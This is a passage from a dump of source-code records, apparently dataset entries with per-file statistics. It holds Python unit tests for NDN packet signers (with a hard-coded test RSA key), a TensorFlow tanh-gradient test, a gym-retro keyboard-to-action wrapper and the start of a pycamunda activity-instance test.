0xe5, 0x68, 0xf2, 0x49, 0x71, 0xaf, 0x15, 0x88, 0xd7, 0xaf, 0xc4, 0x9d, 0x94, 0x84, 0x6b, 0x5b,
0x10, 0xd5, 0xc0, 0xaa, 0x0c, 0x13, 0x62, 0x99, 0xc0, 0x8b, 0xfc, 0x90, 0x0f, 0x87, 0x40, 0x4d,
0x58, 0x88, 0xbd, 0xe2, 0xba, 0x3e, 0x7e, 0x2d, 0xd7, 0x69, 0xa9, 0x3c, 0x09, 0x64, 0x31, 0xb6,
0xcc, 0x4d, 0x1f, 0x23, 0xb6, 0x9e, 0x65, 0xd6, 0x81, 0xdc, 0x85, 0xcc, 0x1e, 0xf1, 0x0b, 0x84,
0x38, 0xab, 0x93, 0x5f, 0x9f, 0x92, 0x4e, 0x93, 0x46, 0x95, 0x6b, 0x3e, 0xb6, 0xc3, 0x1b, 0xd7,
0x69, 0xa1, 0x0a, 0x97, 0x37, 0x78, 0xed, 0xd1, 0x02, 0x81, 0x80, 0x33, 0x18, 0xc3, 0x13, 0x65,
0x8e, 0x03, 0xc6, 0x9f, 0x90, 0x00, 0xae, 0x30, 0x19, 0x05, 0x6f, 0x3c, 0x14, 0x6f, 0xea, 0xf8,
0x6b, 0x33, 0x5e, 0xee, 0xc7, 0xf6, 0x69, 0x2d, 0xdf, 0x44, 0x76, 0xaa, 0x32, 0xba, 0x1a, 0x6e,
0xe6, 0x18, 0xa3, 0x17, 0x61, 0x1c, 0x92, 0x2d, 0x43, 0x5d, 0x29, 0xa8, 0xdf, 0x14, 0xd8, 0xff,
0xdb, 0x38, 0xef, 0xb8, 0xb8, 0x2a, 0x96, 0x82, 0x8e, 0x68, 0xf4, 0x19, 0x8c, 0x42, 0xbe, 0xcc,
0x4a, 0x31, 0x21, 0xd5, 0x35, 0x6c, 0x5b, 0xa5, 0x7c, 0xff, 0xd1, 0x85, 0x87, 0x28, 0xdc, 0x97,
0x75, 0xe8, 0x03, 0x80, 0x1d, 0xfd, 0x25, 0x34, 0x41, 0x31, 0x21, 0x12, 0x87, 0xe8, 0x9a, 0xb7,
0x6a, 0xc0, 0xc4, 0x89, 0x31, 0x15, 0x45, 0x0d, 0x9c, 0xee, 0xf0, 0x6a, 0x2f, 0xe8, 0x59, 0x45,
0xc7, 0x7b, 0x0d, 0x6c, 0x55, 0xbb, 0x43, 0xca, 0xc7, 0x5a, 0x01, 0x02, 0x81, 0x81, 0x00, 0xab,
0xf4, 0xd5, 0xcf, 0x78, 0x88, 0x82, 0xc2, 0xdd, 0xbc, 0x25, 0xe6, 0xa2, 0xc1, 0xd2, 0x33, 0xdc,
0xef, 0x0a, 0x97, 0x2b, 0xdc, 0x59, 0x6a, 0x86, 0x61, 0x4e, 0xa6, 0xc7, 0x95, 0x99, 0xa6, 0xa6,
0x55, 0x6c, 0x5a, 0x8e, 0x72, 0x25, 0x63, 0xac, 0x52, 0xb9, 0x10, 0x69, 0x83, 0x99, 0xd3, 0x51,
0x6c, 0x1a, 0xb3, 0x83, 0x6a, 0xff, 0x50, 0x58, 0xb7, 0x28, 0x97, 0x13, 0xe2, 0xba, 0x94, 0x5b,
0x89, 0xb4, 0xea, 0xba, 0x31, 0xcd, 0x78, 0xe4, 0x4a, 0x00, 0x36, 0x42, 0x00, 0x62, 0x41, 0xc6,
0x47, 0x46, 0x37, 0xea, 0x6d, 0x50, 0xb4, 0x66, 0x8f, 0x55, 0x0c, 0xc8, 0x99, 0x91, 0xd5, 0xec,
0xd2, 0x40, 0x1c, 0x24, 0x7d, 0x3a, 0xff, 0x74, 0xfa, 0x32, 0x24, 0xe0, 0x11, 0x2b, 0x71, 0xad,
0x7e, 0x14, 0xa0, 0x77, 0x21, 0x68, 0x4f, 0xcc, 0xb6, 0x1b, 0xe8, 0x00, 0x49, 0x13, 0x21, 0x02,
0x81, 0x81, 0x00, 0xb6, 0x18, 0x73, 0x59, 0x2c, 0x4f, 0x92, 0xac, 0xa2, 0x2e, 0x5f, 0xb6, 0xbe,
0x78, 0x5d, 0x47, 0x71, 0x04, 0x92, 0xf0, 0xd7, 0xe8, 0xc5, 0x7a, 0x84, 0x6b, 0xb8, 0xb4, 0x30,
0x1f, 0xd8, 0x0d, 0x58, 0xd0, 0x64, 0x80, 0xa7, 0x21, 0x1a, 0x48, 0x00, 0x37, 0xd6, 0x19, 0x71,
0xbb, 0x91, 0x20, 0x9d, 0xe2, 0xc3, 0xec, 0xdb, 0x36, 0x1c, 0xca, 0x48, 0x7d, 0x03, 0x32, 0x74,
0x1e, 0x65, 0x73, 0x02, 0x90, 0x73, 0xd8, 0x3f, 0xb5, 0x52, 0x35, 0x79, 0x1c, 0xee, 0x93, 0xa3,
0x32, 0x8b, 0xed, 0x89, 0x98, 0xf1, 0x0c, 0xd8, 0x12, 0xf2, 0x89, 0x7f, 0x32, 0x23, 0xec, 0x67,
0x66, 0x52, 0x83, 0x89, 0x99, 0x5e, 0x42, 0x2b, 0x42, 0x4b, 0x84, 0x50, 0x1b, 0x3e, 0x47, 0x6d,
0x74, 0xfb, 0xd1, 0xa6, 0x10, 0x20, 0x6c, 0x6e, 0xbe, 0x44, 0x3f, 0xb9, 0xfe, 0xbc, 0x8d, 0xda,
0xcb, 0xea, 0x8f
])
meta_info = MetaInfo(None, 5000, b'\x08\x02\x00\x09')
signer = Sha256WithRsaSigner('/testname/KEY/123', key)
data = make_data('/ndn/abc', meta_info, b'SUCCESS!', signer)
assert (data.hex() == '06fd0143070a08036e646e0803616263'
'140a190213881a0408020009'
'15085355434345535321'
'161b1b01011c1607140808746573746e616d6508034b45590803313233'
'17fd0100'
'5716f5b96a3141dba78970efa4f45601a36c2fc9910e82292c321ae6672ee099'
'44930ef3dab60d714927a87063f1b8382d6c98c894cf2f065d7da28b380fa6cd'
'08c83a243d847bc086da99c85fd14e941593d16e4f060b6a3bffb98035900643'
'0ac22a334cb37dce105902e86ee8c7f4363042bdb815b455d0ce62ae7c43b027'
'9842dd956f67a696ee176415873c918f36d976d68971d8d7f903a71ef6f38b27'
'3c0d8ccfe23f12ecf5212a34b94eb62f822cda1f09e0f949640319cd026fb1ab'
'85282e30a8fe3899bc86d86696e11e157b74f88c0efd9823369dab63262f5d7a'
'abb372a3aaf43307331a2796e913e3d36150f6a387b4c97c19a493bb4513af3f')
| 73.558659 | 107 | 0.609934 |
from Cryptodome.Util.asn1 import DerSequence
from Cryptodome.Hash import SHA256
from Cryptodome.PublicKey import ECC
from Cryptodome.Signature import DSS
from ndn.encoding import make_data, MetaInfo, parse_data
from ndn.security import Sha256WithEcdsaSigner, Sha256WithRsaSigner, HmacSha256Signer
class TestSha256WithEcdsaSigner:
def test_verify(self):
pri_key = ECC.generate(curve="P-256")
key = pri_key.export_key(format="DER")
pub_key = pri_key.public_key()
signer = Sha256WithEcdsaSigner("/K/KEY/x", key)
pkt = make_data("/test", MetaInfo(), b"test content", signer=signer)
_, _, _, sig_ptrs = parse_data(pkt)
DerSequence().decode(bytes(sig_ptrs.signature_value_buf))
verifier = DSS.new(pub_key, 'fips-186-3', 'der')
h = SHA256.new()
for content in sig_ptrs.signature_covered_part:
h.update(content)
verifier.verify(h, bytes(sig_ptrs.signature_value_buf))
class TestSha256WithHmacSigner:
def test_rfc4231_1(self):
key = b'\x0b' * 20
signer = HmacSha256Signer('name', key)
data = b'Hi There'
wire = bytearray(32)
assert signer.get_signature_value_size() == 32
assert signer.write_signature_value(wire, [memoryview(data)]) == 32
assert wire.hex() == 'b0344c61d8db38535ca8afceaf0bf12b881dc200c9833da726e9376c2e32cff7'
def test_rfc4231_2(self):
key = b'Jefe'
signer = HmacSha256Signer('name', key)
data = b'what do ya want for nothing?'
wire = bytearray(32)
assert signer.write_signature_value(wire, [memoryview(data)]) == 32
assert wire.hex() == '5bdcc146bf60754e6a042426089575c75a003f089d2739839dec58b964ec3843'
def test_rfc4231_3(self):
key = b'\xaa' * 20
signer = HmacSha256Signer('name', key)
data = b'\xdd' * 50
wire = bytearray(32)
assert signer.write_signature_value(wire, [memoryview(data)]) == 32
assert wire.hex() == '773ea91e36800e46854db8ebd09181a72959098b3ef8c122d9635514ced565fe'
def test_data_1(self):
key = bytes(i for i in range(32))
signer = HmacSha256Signer('key1', key)
data = make_data('/ndn/abc', MetaInfo(None), b'SUCCESS!', signer)
assert (data.hex() == '0649070a08036e646e0803616263'
'140015085355434345535321'
'160d1b01041c08070608046b657931'
'172019868e7183998df373332f3dd1c9c950fc29d734c07977791d8396fa3b91fd36')
class TestSha256WithRsaSigner:
def test_data(self):
key = bytes([
0x30, 0x82, 0x04, 0xbf, 0x02, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x04, 0xa9, 0x30, 0x82, 0x04, 0xa5, 0x02, 0x01,
0x00, 0x02, 0x82, 0x01, 0x01, 0x00, 0xb8, 0x09, 0xa7, 0x59, 0x82, 0x84, 0xec, 0x4f, 0x06, 0xfa,
0x1c, 0xb2, 0xe1, 0x38, 0x93, 0x53, 0xbb, 0x7d, 0xd4, 0xac, 0x88, 0x1a, 0xf8, 0x25, 0x11, 0xe4,
0xfa, 0x1d, 0x61, 0x24, 0x5b, 0x82, 0xca, 0xcd, 0x72, 0xce, 0xdb, 0x66, 0xb5, 0x8d, 0x54, 0xbd,
0xfb, 0x23, 0xfd, 0xe8, 0x8e, 0xaf, 0xa7, 0xb3, 0x79, 0xbe, 0x94, 0xb5, 0xb7, 0xba, 0x17, 0xb6,
0x05, 0xae, 0xce, 0x43, 0xbe, 0x3b, 0xce, 0x6e, 0xea, 0x07, 0xdb, 0xbf, 0x0a, 0x7e, 0xeb, 0xbc,
0xc9, 0x7b, 0x62, 0x3c, 0xf5, 0xe1, 0xce, 0xe1, 0xd9, 0x8d, 0x9c, 0xfe, 0x1f, 0xc7, 0xf8, 0xfb,
0x59, 0xc0, 0x94, 0x0b, 0x2c, 0xd9, 0x7d, 0xbc, 0x96, 0xeb, 0xb8, 0x79, 0x22, 0x8a, 0x2e, 0xa0,
0x12, 0x1d, 0x42, 0x07, 0xb6, 0x5d, 0xdb, 0xe1, 0xf6, 0xb1, 0x5d, 0x7b, 0x1f, 0x54, 0x52, 0x1c,
0xa3, 0x11, 0x9b, 0xf9, 0xeb, 0xbe, 0xb3, 0x95, 0xca, 0xa5, 0x87, 0x3f, 0x31, 0x18, 0x1a, 0xc9,
0x99, 0x01, 0xec, 0xaa, 0x90, 0xfd, 0x8a, 0x36, 0x35, 0x5e, 0x12, 0x81, 0xbe, 0x84, 0x88, 0xa1,
0x0d, 0x19, 0x2a, 0x4a, 0x66, 0xc1, 0x59, 0x3c, 0x41, 0x83, 0x3d, 0x3d, 0xb8, 0xd4, 0xab, 0x34,
0x90, 0x06, 0x3e, 0x1a, 0x61, 0x74, 0xbe, 0x04, 0xf5, 0x7a, 0x69, 0x1b, 0x9d, 0x56, 0xfc, 0x83,
0xb7, 0x60, 0xc1, 0x5e, 0x9d, 0x85, 0x34, 0xfd, 0x02, 0x1a, 0xba, 0x2c, 0x09, 0x72, 0xa7, 0x4a,
0x5e, 0x18, 0xbf, 0xc0, 0x58, 0xa7, 0x49, 0x34, 0x46, 0x61, 0x59, 0x0e, 0xe2, 0x6e, 0x9e, 0xd2,
0xdb, 0xfd, 0x72, 0x2f, 0x3c, 0x47, 0xcc, 0x5f, 0x99, 0x62, 0xee, 0x0d, 0xf3, 0x1f, 0x30, 0x25,
0x20, 0x92, 0x15, 0x4b, 0x04, 0xfe, 0x15, 0x19, 0x1d, 0xdc, 0x7e, 0x5c, 0x10, 0x21, 0x52, 0x21,
0x91, 0x54, 0x60, 0x8b, 0x92, 0x41, 0x02, 0x03, 0x01, 0x00, 0x01, 0x02, 0x82, 0x01, 0x01, 0x00,
0x8a, 0x05, 0xfb, 0x73, 0x7f, 0x16, 0xaf, 0x9f, 0xa9, 0x4c, 0xe5, 0x3f, 0x26, 0xf8, 0x66, 0x4d,
0xd2, 0xfc, 0xd1, 0x06, 0xc0, 0x60, 0xf1, 0x9f, 0xe3, 0xa6, 0xc6, 0x0a, 0x48, 0xb3, 0x9a, 0xca,
0x21, 0xcd, 0x29, 0x80, 0x88, 0x3d, 0xa4, 0x85, 0xa5, 0x7b, 0x82, 0x21, 0x81, 0x28, 0xeb, 0xf2,
0x43, 0x24, 0xb0, 0x76, 0xc5, 0x52, 0xef, 0xc2, 0xea, 0x4b, 0x82, 0x41, 0x92, 0xc2, 0x6d, 0xa6,
0xae, 0xf0, 0xb2, 0x26, 0x48, 0xa1, 0x23, 0x7f, 0x02, 0xcf, 0xa8, 0x90, 0x17, 0xa2, 0x3e, 0x8a,
0x26, 0xbd, 0x6d, 0x8a, 0xee, 0xa6, 0x0c, 0x31, 0xce, 0xc2, 0xbb, 0x92, 0x59, 0xb5, 0x73, 0xe2,
0x7d, 0x91, 0x75, 0xe2, 0xbd, 0x8c, 0x63, 0xe2, 0x1c, 0x8b, 0xc2, 0x6a, 0x1c, 0xfe, 0x69, 0xc0,
0x44, 0xcb, 0x58, 0x57, 0xb7, 0x13, 0x42, 0xf0, 0xdb, 0x50, 0x4c, 0xe0, 0x45, 0x09, 0x8f, 0xca,
0x45, 0x8a, 0x06, 0xfe, 0x98, 0xd1, 0x22, 0xf5, 0x5a, 0x9a, 0xdf, 0x89, 0x17, 0xca, 0x20, 0xcc,
0x12, 0xa9, 0x09, 0x3d, 0xd5, 0xf7, 0xe3, 0xeb, 0x08, 0x4a, 0xc4, 0x12, 0xc0, 0xb9, 0x47, 0x6c,
0x79, 0x50, 0x66, 0xa3, 0xf8, 0xaf, 0x2c, 0xfa, 0xb4, 0x6b, 0xec, 0x03, 0xad, 0xcb, 0xda, 0x24,
0x0c, 0x52, 0x07, 0x87, 0x88, 0xc0, 0x21, 0xf3, 0x02, 0xe8, 0x24, 0x44, 0x0f, 0xcd, 0xa0, 0xad,
0x2f, 0x1b, 0x79, 0xab, 0x6b, 0x49, 0x4a, 0xe6, 0x3b, 0xd0, 0xad, 0xc3, 0x48, 0xb9, 0xf7, 0xf1,
0x34, 0x09, 0xeb, 0x7a, 0xc0, 0xd5, 0x0d, 0x39, 0xd8, 0x45, 0xce, 0x36, 0x7a, 0xd8, 0xde, 0x3c,
0xb0, 0x21, 0x96, 0x97, 0x8a, 0xff, 0x8b, 0x23, 0x60, 0x4f, 0xf0, 0x3d, 0xd7, 0x8f, 0xf3, 0x2c,
0xcb, 0x1d, 0x48, 0x3f, 0x86, 0xc4, 0xa9, 0x00, 0xf2, 0x23, 0x2d, 0x72, 0x4d, 0x66, 0xa5, 0x01,
0x02, 0x81, 0x81, 0x00, 0xdc, 0x4f, 0x99, 0x44, 0x0d, 0x7f, 0x59, 0x46, 0x1e, 0x8f, 0xe7, 0x2d,
0x8d, 0xdd, 0x54, 0xc0, 0xf7, 0xfa, 0x46, 0x0d, 0x9d, 0x35, 0x03, 0xf1, 0x7c, 0x12, 0xf3, 0x5a,
0x9d, 0x83, 0xcf, 0xdd, 0x37, 0x21, 0x7c, 0xb7, 0xee, 0xc3, 0x39, 0xd2, 0x75, 0x8f, 0xb2, 0x2d,
0x6f, 0xec, 0xc6, 0x03, 0x55, 0xd7, 0x00, 0x67, 0xd3, 0x9b, 0xa2, 0x68, 0x50, 0x6f, 0x9e, 0x28,
0xa4, 0x76, 0x39, 0x2b, 0xb2, 0x65, 0xcc, 0x72, 0x82, 0x93, 0xa0, 0xcf, 0x10, 0x05, 0x6a, 0x75,
0xca, 0x85, 0x35, 0x99, 0xb0, 0xa6, 0xc6, 0xef, 0x4c, 0x4d, 0x99, 0x7d, 0x2c, 0x38, 0x01, 0x21,
0xb5, 0x31, 0xac, 0x80, 0x54, 0xc4, 0x18, 0x4b, 0xfd, 0xef, 0xb3, 0x30, 0x22, 0x51, 0x5a, 0xea,
0x7d, 0x9b, 0xb2, 0x9d, 0xcb, 0xba, 0x3f, 0xc0, 0x1a, 0x6b, 0xcd, 0xb0, 0xe6, 0x2f, 0x04, 0x33,
0xd7, 0x3a, 0x49, 0x71, 0x02, 0x81, 0x81, 0x00, 0xd5, 0xd9, 0xc9, 0x70, 0x1a, 0x13, 0xb3, 0x39,
0x24, 0x02, 0xee, 0xb0, 0xbb, 0x84, 0x17, 0x12, 0xc6, 0xbd, 0x65, 0x73, 0xe9, 0x34, 0x5d, 0x43,
0xff, 0xdc, 0xf8, 0x55, 0xaf, 0x2a, 0xb9, 0xe1, 0xfa, 0x71, 0x65, 0x4e, 0x50, 0x0f, 0xa4, 0x3b,
0xe5, 0x68, 0xf2, 0x49, 0x71, 0xaf, 0x15, 0x88, 0xd7, 0xaf, 0xc4, 0x9d, 0x94, 0x84, 0x6b, 0x5b,
0x10, 0xd5, 0xc0, 0xaa, 0x0c, 0x13, 0x62, 0x99, 0xc0, 0x8b, 0xfc, 0x90, 0x0f, 0x87, 0x40, 0x4d,
0x58, 0x88, 0xbd, 0xe2, 0xba, 0x3e, 0x7e, 0x2d, 0xd7, 0x69, 0xa9, 0x3c, 0x09, 0x64, 0x31, 0xb6,
0xcc, 0x4d, 0x1f, 0x23, 0xb6, 0x9e, 0x65, 0xd6, 0x81, 0xdc, 0x85, 0xcc, 0x1e, 0xf1, 0x0b, 0x84,
0x38, 0xab, 0x93, 0x5f, 0x9f, 0x92, 0x4e, 0x93, 0x46, 0x95, 0x6b, 0x3e, 0xb6, 0xc3, 0x1b, 0xd7,
0x69, 0xa1, 0x0a, 0x97, 0x37, 0x78, 0xed, 0xd1, 0x02, 0x81, 0x80, 0x33, 0x18, 0xc3, 0x13, 0x65,
0x8e, 0x03, 0xc6, 0x9f, 0x90, 0x00, 0xae, 0x30, 0x19, 0x05, 0x6f, 0x3c, 0x14, 0x6f, 0xea, 0xf8,
0x6b, 0x33, 0x5e, 0xee, 0xc7, 0xf6, 0x69, 0x2d, 0xdf, 0x44, 0x76, 0xaa, 0x32, 0xba, 0x1a, 0x6e,
0xe6, 0x18, 0xa3, 0x17, 0x61, 0x1c, 0x92, 0x2d, 0x43, 0x5d, 0x29, 0xa8, 0xdf, 0x14, 0xd8, 0xff,
0xdb, 0x38, 0xef, 0xb8, 0xb8, 0x2a, 0x96, 0x82, 0x8e, 0x68, 0xf4, 0x19, 0x8c, 0x42, 0xbe, 0xcc,
0x4a, 0x31, 0x21, 0xd5, 0x35, 0x6c, 0x5b, 0xa5, 0x7c, 0xff, 0xd1, 0x85, 0x87, 0x28, 0xdc, 0x97,
0x75, 0xe8, 0x03, 0x80, 0x1d, 0xfd, 0x25, 0x34, 0x41, 0x31, 0x21, 0x12, 0x87, 0xe8, 0x9a, 0xb7,
0x6a, 0xc0, 0xc4, 0x89, 0x31, 0x15, 0x45, 0x0d, 0x9c, 0xee, 0xf0, 0x6a, 0x2f, 0xe8, 0x59, 0x45,
0xc7, 0x7b, 0x0d, 0x6c, 0x55, 0xbb, 0x43, 0xca, 0xc7, 0x5a, 0x01, 0x02, 0x81, 0x81, 0x00, 0xab,
0xf4, 0xd5, 0xcf, 0x78, 0x88, 0x82, 0xc2, 0xdd, 0xbc, 0x25, 0xe6, 0xa2, 0xc1, 0xd2, 0x33, 0xdc,
0xef, 0x0a, 0x97, 0x2b, 0xdc, 0x59, 0x6a, 0x86, 0x61, 0x4e, 0xa6, 0xc7, 0x95, 0x99, 0xa6, 0xa6,
0x55, 0x6c, 0x5a, 0x8e, 0x72, 0x25, 0x63, 0xac, 0x52, 0xb9, 0x10, 0x69, 0x83, 0x99, 0xd3, 0x51,
0x6c, 0x1a, 0xb3, 0x83, 0x6a, 0xff, 0x50, 0x58, 0xb7, 0x28, 0x97, 0x13, 0xe2, 0xba, 0x94, 0x5b,
0x89, 0xb4, 0xea, 0xba, 0x31, 0xcd, 0x78, 0xe4, 0x4a, 0x00, 0x36, 0x42, 0x00, 0x62, 0x41, 0xc6,
0x47, 0x46, 0x37, 0xea, 0x6d, 0x50, 0xb4, 0x66, 0x8f, 0x55, 0x0c, 0xc8, 0x99, 0x91, 0xd5, 0xec,
0xd2, 0x40, 0x1c, 0x24, 0x7d, 0x3a, 0xff, 0x74, 0xfa, 0x32, 0x24, 0xe0, 0x11, 0x2b, 0x71, 0xad,
0x7e, 0x14, 0xa0, 0x77, 0x21, 0x68, 0x4f, 0xcc, 0xb6, 0x1b, 0xe8, 0x00, 0x49, 0x13, 0x21, 0x02,
0x81, 0x81, 0x00, 0xb6, 0x18, 0x73, 0x59, 0x2c, 0x4f, 0x92, 0xac, 0xa2, 0x2e, 0x5f, 0xb6, 0xbe,
0x78, 0x5d, 0x47, 0x71, 0x04, 0x92, 0xf0, 0xd7, 0xe8, 0xc5, 0x7a, 0x84, 0x6b, 0xb8, 0xb4, 0x30,
0x1f, 0xd8, 0x0d, 0x58, 0xd0, 0x64, 0x80, 0xa7, 0x21, 0x1a, 0x48, 0x00, 0x37, 0xd6, 0x19, 0x71,
0xbb, 0x91, 0x20, 0x9d, 0xe2, 0xc3, 0xec, 0xdb, 0x36, 0x1c, 0xca, 0x48, 0x7d, 0x03, 0x32, 0x74,
0x1e, 0x65, 0x73, 0x02, 0x90, 0x73, 0xd8, 0x3f, 0xb5, 0x52, 0x35, 0x79, 0x1c, 0xee, 0x93, 0xa3,
0x32, 0x8b, 0xed, 0x89, 0x98, 0xf1, 0x0c, 0xd8, 0x12, 0xf2, 0x89, 0x7f, 0x32, 0x23, 0xec, 0x67,
0x66, 0x52, 0x83, 0x89, 0x99, 0x5e, 0x42, 0x2b, 0x42, 0x4b, 0x84, 0x50, 0x1b, 0x3e, 0x47, 0x6d,
0x74, 0xfb, 0xd1, 0xa6, 0x10, 0x20, 0x6c, 0x6e, 0xbe, 0x44, 0x3f, 0xb9, 0xfe, 0xbc, 0x8d, 0xda,
0xcb, 0xea, 0x8f
])
meta_info = MetaInfo(None, 5000, b'\x08\x02\x00\x09')
signer = Sha256WithRsaSigner('/testname/KEY/123', key)
data = make_data('/ndn/abc', meta_info, b'SUCCESS!', signer)
assert (data.hex() == '06fd0143070a08036e646e0803616263'
'140a190213881a0408020009'
'15085355434345535321'
'161b1b01011c1607140808746573746e616d6508034b45590803313233'
'17fd0100'
'5716f5b96a3141dba78970efa4f45601a36c2fc9910e82292c321ae6672ee099'
'44930ef3dab60d714927a87063f1b8382d6c98c894cf2f065d7da28b380fa6cd'
'08c83a243d847bc086da99c85fd14e941593d16e4f060b6a3bffb98035900643'
'0ac22a334cb37dce105902e86ee8c7f4363042bdb815b455d0ce62ae7c43b027'
'9842dd956f67a696ee176415873c918f36d976d68971d8d7f903a71ef6f38b27'
'3c0d8ccfe23f12ecf5212a34b94eb62f822cda1f09e0f949640319cd026fb1ab'
'85282e30a8fe3899bc86d86696e11e157b74f88c0efd9823369dab63262f5d7a'
'abb372a3aaf43307331a2796e913e3d36150f6a387b4c97c19a493bb4513af3f')
| true | true |
f7f37fd7a132f846c29a5d13353c433dcb90f804 | 2,072 | py | Python | test/python/test_tanhgrad.py | conradjones/ngraph-bridge | 042011e6653b3ac0983511cf6604f9881cc6ee4b | [
"Apache-2.0"
] | null | null | null | test/python/test_tanhgrad.py | conradjones/ngraph-bridge | 042011e6653b3ac0983511cf6604f9881cc6ee4b | [
"Apache-2.0"
] | null | null | null | test/python/test_tanhgrad.py | conradjones/ngraph-bridge | 042011e6653b3ac0983511cf6604f9881cc6ee4b | [
"Apache-2.0"
] | null | null | null | # ==============================================================================
# Copyright 2018-2020 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""nGraph TensorFlow bridge AvgPoolBackprop operation test
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import pytest
import numpy as np
import tensorflow as tf
from tensorflow.python.framework import constant_op
from tensorflow.python.ops.gen_math_ops import tanh_grad
from common import NgraphTest
class TestTanhGradOp(NgraphTest):
def test_tanhgrad_2d(self):
y = constant_op.constant(
self.generate_random_numbers(30, 1.0, 10.0), shape=[10, 3])
y_delta = constant_op.constant(
self.generate_random_numbers(30, 0.0, 10.0), shape=[10, 3])
out = tanh_grad(y, y_delta)
def run_test(sess):
return sess.run(out)
assert np.allclose(
self.with_ngraph(run_test), self.without_ngraph(run_test))
def test_tanhgrad_3d(self):
y = constant_op.constant(
self.generate_random_numbers(60, 5.0, 30.0), shape=[10, 3, 2])
y_delta = constant_op.constant(
self.generate_random_numbers(60, 10.0, 40.0), shape=[10, 3, 2])
out = tanh_grad(y, y_delta)
def run_test(sess):
return sess.run(out)
assert np.allclose(
self.with_ngraph(run_test), self.without_ngraph(run_test))
| 33.967213 | 80 | 0.644305 |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import pytest
import numpy as np
import tensorflow as tf
from tensorflow.python.framework import constant_op
from tensorflow.python.ops.gen_math_ops import tanh_grad
from common import NgraphTest
class TestTanhGradOp(NgraphTest):
def test_tanhgrad_2d(self):
y = constant_op.constant(
self.generate_random_numbers(30, 1.0, 10.0), shape=[10, 3])
y_delta = constant_op.constant(
self.generate_random_numbers(30, 0.0, 10.0), shape=[10, 3])
out = tanh_grad(y, y_delta)
def run_test(sess):
return sess.run(out)
assert np.allclose(
self.with_ngraph(run_test), self.without_ngraph(run_test))
def test_tanhgrad_3d(self):
y = constant_op.constant(
self.generate_random_numbers(60, 5.0, 30.0), shape=[10, 3, 2])
y_delta = constant_op.constant(
self.generate_random_numbers(60, 10.0, 40.0), shape=[10, 3, 2])
out = tanh_grad(y, y_delta)
def run_test(sess):
return sess.run(out)
assert np.allclose(
self.with_ngraph(run_test), self.without_ngraph(run_test))
| true | true |
f7f37ff82b14e5be3d7536b6115bff351b518400 | 1,230 | py | Python | src/RetroInteractive.py | stevenwalton/Retro-Learner | 74586c57b5dd5f6e82abaff99344285731f1fc56 | [
"MIT"
] | null | null | null | src/RetroInteractive.py | stevenwalton/Retro-Learner | 74586c57b5dd5f6e82abaff99344285731f1fc56 | [
"MIT"
] | null | null | null | src/RetroInteractive.py | stevenwalton/Retro-Learner | 74586c57b5dd5f6e82abaff99344285731f1fc56 | [
"MIT"
] | null | null | null | import retro
import gym
import Interactive as I
import pyglet
from pyglet import gl
from pyglet.window import key as keycodes
class RetroInteractive(I.Interactive):
'''
interactive setup for retro games
'''
def __init__(self, game, state, scenario):
env = retro.make(game=game, state=state, scenario=scenario)
self.buttons = env.buttons
super().__init__(env=env, sync=False, tps=60, aspect_ratio=4/3)
def get_image(self, obs, env):
return env.render(mode='rgb_array')
def keys_to_act(self, keys):
inputs = {
None: False,
'BUTTON': 'Z' in keys,
'A': 'Z' in keys,
'B': 'X' in keys,
'C': 'C' in keys,
'X': 'A' in keys,
'Y': 'S' in keys,
'Z': 'D' in keys,
'L': 'Q' in keys,
'R': 'W' in keys,
'UP': 'UP' in keys,
'DOWN': 'DOWN' in keys,
'LEFT': 'LEFT' in keys,
'RIGHT': 'RIGHT' in keys,
'MODE': 'TAB' in keys,
'SELECT': 'TAB' in keys,
'RESET': 'ENTER' in keys,
'START': 'ENTER' in keys,
}
return [inputs[b] for b in self.buttons]
| 25.625 | 71 | 0.504878 | import retro
import gym
import Interactive as I
import pyglet
from pyglet import gl
from pyglet.window import key as keycodes
class RetroInteractive(I.Interactive):
def __init__(self, game, state, scenario):
env = retro.make(game=game, state=state, scenario=scenario)
self.buttons = env.buttons
super().__init__(env=env, sync=False, tps=60, aspect_ratio=4/3)
def get_image(self, obs, env):
return env.render(mode='rgb_array')
def keys_to_act(self, keys):
inputs = {
None: False,
'BUTTON': 'Z' in keys,
'A': 'Z' in keys,
'B': 'X' in keys,
'C': 'C' in keys,
'X': 'A' in keys,
'Y': 'S' in keys,
'Z': 'D' in keys,
'L': 'Q' in keys,
'R': 'W' in keys,
'UP': 'UP' in keys,
'DOWN': 'DOWN' in keys,
'LEFT': 'LEFT' in keys,
'RIGHT': 'RIGHT' in keys,
'MODE': 'TAB' in keys,
'SELECT': 'TAB' in keys,
'RESET': 'ENTER' in keys,
'START': 'ENTER' in keys,
}
return [inputs[b] for b in self.buttons]
| true | true |
f7f3809407cf79c3ec53b2e88ad04eb5ae64ae1b | 1,551 | py | Python | tests/activityinst/test_transitioninstance.py | asyncee/pycamunda | f4834d224ff99fcf80874efeaedf68a8a2efa926 | [
"MIT"
] | null | null | null | tests/activityinst/test_transitioninstance.py | asyncee/pycamunda | f4834d224ff99fcf80874efeaedf68a8a2efa926 | [
"MIT"
] | null | null | null | tests/activityinst/test_transitioninstance.py | asyncee/pycamunda | f4834d224ff99fcf80874efeaedf68a8a2efa926 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import unittest.mock
import pytest
import pycamunda.activityinst
import pycamunda.incident
INCIDENT_TYPE_COUNT = pycamunda.incident.IncidentTypeCount(
incident_type=pycamunda.incident.IncidentType.failed_job,
incident_count=1
)
@unittest.mock.patch(
'pycamunda.incident.IncidentTypeCount.load',
lambda _: INCIDENT_TYPE_COUNT
)
def test_transition_instance_load(my_transition_instance_json):
instance = pycamunda.activityinst.TransitionInstance.load(my_transition_instance_json)
assert instance.id_ == my_transition_instance_json['id']
assert instance.activity_id == my_transition_instance_json['activityId']
assert instance.activity_name == my_transition_instance_json['activityName']
assert instance.activity_type == my_transition_instance_json['activityType']
assert instance.process_instance_id == my_transition_instance_json['processInstanceId']
